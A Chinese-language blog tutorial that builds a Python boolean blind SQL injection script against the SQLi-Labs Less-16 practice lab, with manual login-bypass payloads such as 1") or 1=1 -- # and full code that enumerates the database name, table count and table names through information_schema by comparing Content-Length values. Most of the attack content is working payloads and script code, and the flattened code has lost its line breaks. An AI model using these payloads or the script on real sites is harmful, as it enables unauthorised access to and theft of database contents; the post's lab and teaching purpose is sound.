结合手工注入编写一个SQL盲注脚本——以SQLi-Labsless16为例

博客 动态
0 270
羽尘
羽尘 2022-04-09 12:57:45
悬赏:0 积分 收藏

结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例

一、分析测试注入点

1、抓包,查看响应数据包
2、先随便输入一个账号密码,再测试万能密码
1") or 1=1 -- #
3、发现响应数据包的Content-Length字段值不同。错误状态返回Content-Length值为1467,正确返回1504,符合布尔注入特征。
4、使用万能密码登录成功,确定注入点,为布尔盲注
1") or 1=1 -- #

二、获取数据库名编写脚本

1、先获取数据库长度,测试语句
1") or length(database())=8 -- #
2、登录成功,确定数据库长度为8
3、、由于是盲注,获取数据库名手工不太现实,这里使用脚本。注意,脚本测试时,响应数据包的Content-Length字段值与BurpSuite抓包测试中的Content-Length字段值不同,请自行测试,根据实际情况修改
# -*- coding: utf-8 -*-import requests url = "http://192.168.40.128:86/Less-16/"headers = {    'Host' :'192.168.40.128:86',    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',    'Accept-Encoding': 'gzip, deflate',    'Content-Type': 'application/x-www-form-urlencoded',    #'Content-Length': '39',    'Origin': 'http://192.168.40.128:86',    'Connection': 'close',    'Referer': 'http://192.168.40.128:86/Less-16/',    'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',    'Upgrade-Insecure-Requests': '1'}data = {    'uname':'admin',    'passwd':'adminpass',    'submit':'Submit'} #获取数据库名的长度def get_database_length():    print("[-] Start getting the database name length:")    for i in range(20):        data_database_L = {            'uname':'") or length(database())=' + str(i) + " #",            'passwd':'adminpass',            'submit':'Submit'        }        r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)        """ print(r_database_length.headers["Content-Length"])        print(type(r_database_length.headers["Content-Length"])) """        if r_database_length.headers["Content-Length"] == str(943):            print("[*] current database length: {}".format(i))            return i #获取当前数据库的名称def get_database_name(r_database_length):    r_database_length = database_length    #使用left()函数,即从左边第一个字符开始猜解    database_name = ''    print(' ')    print("[-] Start getting the database name:")    for i in range(1, r_database_length + 1):        for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':            #构造Payload            payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"            #print(passwd)            data_database_name = {                'uname':'1',                'passwd':payload,                'submit':'Submit'        }            #逐个请求构造好的Payload            r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)            #若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段            if r_database_name.headers["Content-Length"] == str(943):                database_name += str(j)                print("[+] {}".format(database_name))                break    print("[*] The database name is: {}".format(database_name))    return database_name
4、测试时在脚本末尾添加如下代码
#测试database_length = get_database_length()database_name = get_database_name(database_length)
5、运行脚本,效果如下

三、获取数据库表的数量

1、测试语句,构造Payload。下面语句的意思是数据库security中表的数量大于1
1") and (select count(*) from information_schema.tables where table_schema='security')>1 -- #
登录成功
2、脚本实现
#获取数据库表的数量def get_database_tables_count(r_database_name):    r_database_name = database_name    print(' ')    print("[-] Start getting the number of databases:")    for i in range(1,99):    #构造获取数据库数量的Payload        payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + database_name +"')=" + str(i) +" -- #"        data_database_name = {            'uname':'1',            'passwd':payload,            'submit':'Submit'        }        r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)        if r_database_count.headers["Content-Length"] == str(943):            print("[*] The current number of database tables is: {}".format(i))            return i
3、修改末尾的测试代码如下
#测试database_length = get_database_length()database_name = get_database_name(database_length)database_count = get_database_tables_count(database_name)
4、运行脚本,效果如下

四、获取数据库表名的长度

1、先测试语句,构造Payload。下面语句的意思是数据库security的第一个表的长度大于1
1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1 -- #
2、登录成功,语句正确
3、脚本实现
#获取表名的长度def get_database_tables_name_length(r_database_name,r_database_tables_count):    r_database_name = database_name    r_database_tables_count = database_tables_count    tables_name_length_list = []    print(' ')    print("[-] Start getting the database  tables name length:")    #根据表的数量逐个猜解表名的长度    for i in range(0,r_database_tables_count+1):        for j in range(20):            #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"            payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"            data_database_L = {                'uname':payload,                'passwd':'adminpass',                'submit':'Submit'            }            r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)            if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):                print("[*] The length of the database table name is: {}".format(j))                tables_name_length_list = tables_name_length_list.append(j)    return tables_name_length_list
4、运行脚本,效果如下

五、获取表名

1、先构造Payload,测试语句
1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
2、登录成功,Payload正确
3、脚本代码实现
#获取数据库表名def get_database_tables_name():    r_database_count = database_tables_count    r_database_name = database_name    r_tables_name_length = tables_name_length    database_tables_name = ''    tables_name_list = []    print(' ')    print("[-] Start getting the database table name:")    for i in range(0,r_database_count):        for k in range(1,r_tables_name_length[i]+1):            for j in range(33,127):                #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #                #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #                # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j  + " -- #"                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j)  + " -- #"                data_database_name = {                'uname':'1',                'passwd':payload,                'submit':'Submit'                }                r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)                if r_tables_name.headers["Content-Length"] == str(943):                    database_tables_name += chr(j)                    print("[+] {}".format(database_tables_name))                    break        #把获取到的表名加入列表tables_name_list        print("[*] The current table name is: {}".format(database_tables_name))        tables_name_list.append(database_tables_name)        #清空database_tables_name,继续获取下一个表名        database_tables_name = ''    print("[*] The table name of the current database: {}".format(tables_name_list))    return tables_name_list
4、效果如下

六、结尾

1、获取表的列名和获取表名的思路、逻辑是一样的,怎么获取表名都已经写出来了,如果怎么获取列名和数据都还不会的话,那就再去好好补一下SQL基础吧

2、此脚本是布尔盲注,延时盲注的逻辑和思路是一样的,只需要把Payload改成延时语句,把响应判断条件改成对应的延时判断就可以了

3、实战请在获得授权的前提下进行,且勿进行非法攻击!

4、最后,附上完整的脚本代码

# -*- coding: utf-8 -*-from aiohttp import payload_typeimport requestsfrom responses import targeturl = "http://192.168.40.128:86/Less-16/"headers = {    'Host' :'192.168.40.128:86',    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',    'Accept-Encoding': 'gzip, deflate',    'Content-Type': 'application/x-www-form-urlencoded',    #'Content-Length': '39',    'Origin': 'http://192.168.40.128:86',    'Connection': 'close',    'Referer': 'http://192.168.40.128:86/Less-16/',    'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',    'Upgrade-Insecure-Requests': '1'}data = {    'uname':'admin',    'passwd':'adminpass',    'submit':'Submit'}""" r = requests.post(url=url, headers=headers, data=data, allow_redirects=False)print(r.headers['Content-Length']) """#获取数据库名的长度def get_database_length():    print("[-] Start getting the database name length:")    for i in range(20):        data_database_L = {            'uname':'") or length(database())=' + str(i) + " #",            'passwd':'adminpass',            'submit':'Submit'        }        """ print(data_database_L) """        r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)        """ print(r_database_length.headers["Content-Length"])        print(type(r_database_length.headers["Content-Length"])) """        if r_database_length.headers["Content-Length"] == str(943):            print("[*] current database length: {}".format(i))            return i#测试#database_length = get_database_length()#print(type(database_length))#获取当前数据库的名称def get_database_name():    r_database_length = database_length    #使用left()函数,即从左边第一个字符开始猜解    database_name = ''    print(' ')    print("[-] Start getting the database name:")    for i in range(1, r_database_length + 1):        for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':            #构造Payload            payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"            #print(passwd)            data_database_name = {                'uname':'1',                'passwd':payload,                'submit':'Submit'        }            #逐个请求构造好的Payload            r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)            #print(r_database_name.headers["Content-Length"])            #若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段,这里根据实际情况修改            if r_database_name.headers["Content-Length"] == str(943):                database_name += str(j)                print("[+] {}".format(database_name))                break    print("[*] The database name is: {}".format(database_name))    return database_name#获取数据库表的数量def get_database_tables_count():    r_database_name = database_name    print(' ')    print("[-] Start getting the number of databases:")    for i in range(1,99):    #构造获取数据库数量的Payload        payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + r_database_name +"')=" + str(i) +" -- #"        data_database_name = {            'uname':'1',            'passwd':payload,            'submit':'Submit'        }        r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)        if r_database_count.headers["Content-Length"] == str(943):            print("[*] The current number of database tables is: {}".format(i))            return i#获取表名的长度def get_database_tables_name_length():    r_database_name = database_name    r_database_tables_count = database_tables_count    tables_name_length_list = []    print(' ')    print("[-] Start getting the database  tables name length:")    #根据表的数量逐个猜解表名的长度    for i in range(0,r_database_tables_count+1):        for j in range(20):            #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #            #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"            payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"            data_database_L = {                'uname':payload,                'passwd':'adminpass',                'submit':'Submit'            }            r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)            if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):                print("[*] The length of the database table name is: {}".format(j))                tables_name_length_list.append(j)                break    #print(tables_name_length_list)    """ for n in range(0,database_tables_count):        print(tables_name_length_list[n]) """    return tables_name_length_list                #获取数据库表名def get_database_tables_name():    r_database_count = database_tables_count    r_database_name = database_name    r_tables_name_length = tables_name_length    database_tables_name = ''    tables_name_list = []    print(' ')    print("[-] Start getting the database table name:")    for i in range(0,r_database_count):        for k in range(1,r_tables_name_length[i]+1):            for j in range(33,127):                #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #                #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #                # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j  + " -- #"                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j)  + " -- #"                data_database_name = {                'uname':'1',                'passwd':payload,                'submit':'Submit'                }                r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)                #print(r_tables_name)                if r_tables_name.headers["Content-Length"] == str(943):                    database_tables_name += chr(j)                    print("[+] {}".format(database_tables_name))                    #tables_name_list.append(database_tables_name)                    break        #把获取到的表名加入列表tables_name_list        print("[*] The current table name is: {}".format(database_tables_name))        tables_name_list.append(database_tables_name)        #清空database_tables_name,继续获取下一个表名        database_tables_name = ''    print("[*] The table name of the current database: {}".format(tables_name_list))    return tables_name_list#测试database_length = get_database_length()database_name = get_database_name()database_tables_count = get_database_tables_count()tables_name_length = get_database_tables_name_length()get_database_tables_name()

 

posted @ 2022-04-09 11:58 Security菜鸟 阅读(11) 评论(0) 编辑 收藏 举报
回帖
    羽尘

    羽尘 (王者 段位)

    2335 积分 (2)粉丝 (11)源码

     

    温馨提示

    亦奇源码

    最新会员